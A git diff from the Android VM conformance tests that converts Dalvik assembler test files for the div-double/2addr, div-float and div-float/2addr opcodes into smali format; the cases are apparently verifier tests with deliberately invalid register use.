diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4.d
deleted file mode 100644
index 5cee125..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_2addr_4.java
-.class public dot.junit.opcodes.div_double_2addr.d.T_div_double_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       div-double/2addr v9, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4.smali
new file mode 100644
index 0000000..09aa780
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_2addr_4.java"
+.class  public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double/2addr v9, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5.d
deleted file mode 100644
index 2ef12c6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_2addr_5.java
-.class public dot.junit.opcodes.div_double_2addr.d.T_div_double_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       div-double/2addr v10, v14
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5.smali
new file mode 100644
index 0000000..e800943
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_2addr_5.java"
+.class  public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double/2addr v10, v14
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6.d
deleted file mode 100644
index 05fc08e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_2addr_6.java
-.class public dot.junit.opcodes.div_double_2addr.d.T_div_double_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 14
-       move v0, v12
-       move v1, v12
-       move v2, v13
-       move v3, v13
-       div-double/2addr v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6.smali
new file mode 100644
index 0000000..6745394
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_2addr_6.java"
+.class  public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 14
+       move v0, v12
+       move v1, v12
+       move v2, v13
+       move v3, v13
+       div-double/2addr v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_1.d
deleted file mode 100644
index 5d59692..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_1.java
-.class public dot.junit.opcodes.div_float.d.T_div_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-       div-float v0, v6, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_1.smali
new file mode 100644
index 0000000..2981109
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_1.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       div-float v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_2.d
deleted file mode 100644
index 4a82c48..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_2.java
-.class public dot.junit.opcodes.div_float.d.T_div_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-       const-wide v0, 3.14
-       div-float v0, v0, v7
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_2.smali
new file mode 100644
index 0000000..850b337
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       const-wide v0, 3.14
+       div-float v0, v0, v7
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_3.d
deleted file mode 100644
index 9a8b28b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_3.java
-.class public dot.junit.opcodes.div_float.d.T_div_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-       const-wide v0, 1234
-       div-float v0, v7, v0
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_3.smali
new file mode 100644
index 0000000..3301768
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_3.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       const-wide v0, 1234
+       div-float v0, v7, v0
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_4.d
deleted file mode 100644
index ed7b149..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_4.java
-.class public dot.junit.opcodes.div_float.d.T_div_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       div-float v0, v5, v7
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_4.smali
new file mode 100644
index 0000000..eca8232
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_4.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       div-float v0, v5, v7
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_5.d
deleted file mode 100644
index 4602631..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_5.java
-.class public dot.junit.opcodes.div_float.d.T_div_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)F
-.limit regs 8
-       div-float v0, v6, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_5.smali
new file mode 100644
index 0000000..28c9e34
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_5.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 8
+       div-float v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_6.d
deleted file mode 100644
index 4777687..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_6.java
-.class public dot.junit.opcodes.div_float.d.T_div_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-       div-float v0, v6, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_6.smali
new file mode 100644
index 0000000..15b987c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_6.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       div-float v0, v6, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1.d
deleted file mode 100644
index 93362fe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_2addr_1.java
-.class public dot.junit.opcodes.div_float_2addr.d.T_div_float_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-       div-float/2addr v6, v7
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1.smali
new file mode 100644
index 0000000..5b6597d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_1.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       div-float/2addr v6, v7
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2.d
deleted file mode 100644
index 90ea869..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_2addr_2.java
-.class public dot.junit.opcodes.div_float_2addr.d.T_div_float_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-       const-wide v0, 3.14
-       div-float/2addr v0, v7
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2.smali
new file mode 100644
index 0000000..8909306
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_2.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       const-wide v0, 3.14
+       div-float/2addr v0, v7
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3.d
deleted file mode 100644
index f9bddfd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_2addr_3.java
-.class public dot.junit.opcodes.div_float_2addr.d.T_div_float_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       const-wide v0, 1234
-       div-float/2addr v7, v0
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3.smali
new file mode 100644
index 0000000..5d315b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_3.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       const-wide v0, 1234
+       div-float/2addr v7, v0
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4.d
deleted file mode 100644
index 377cda1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
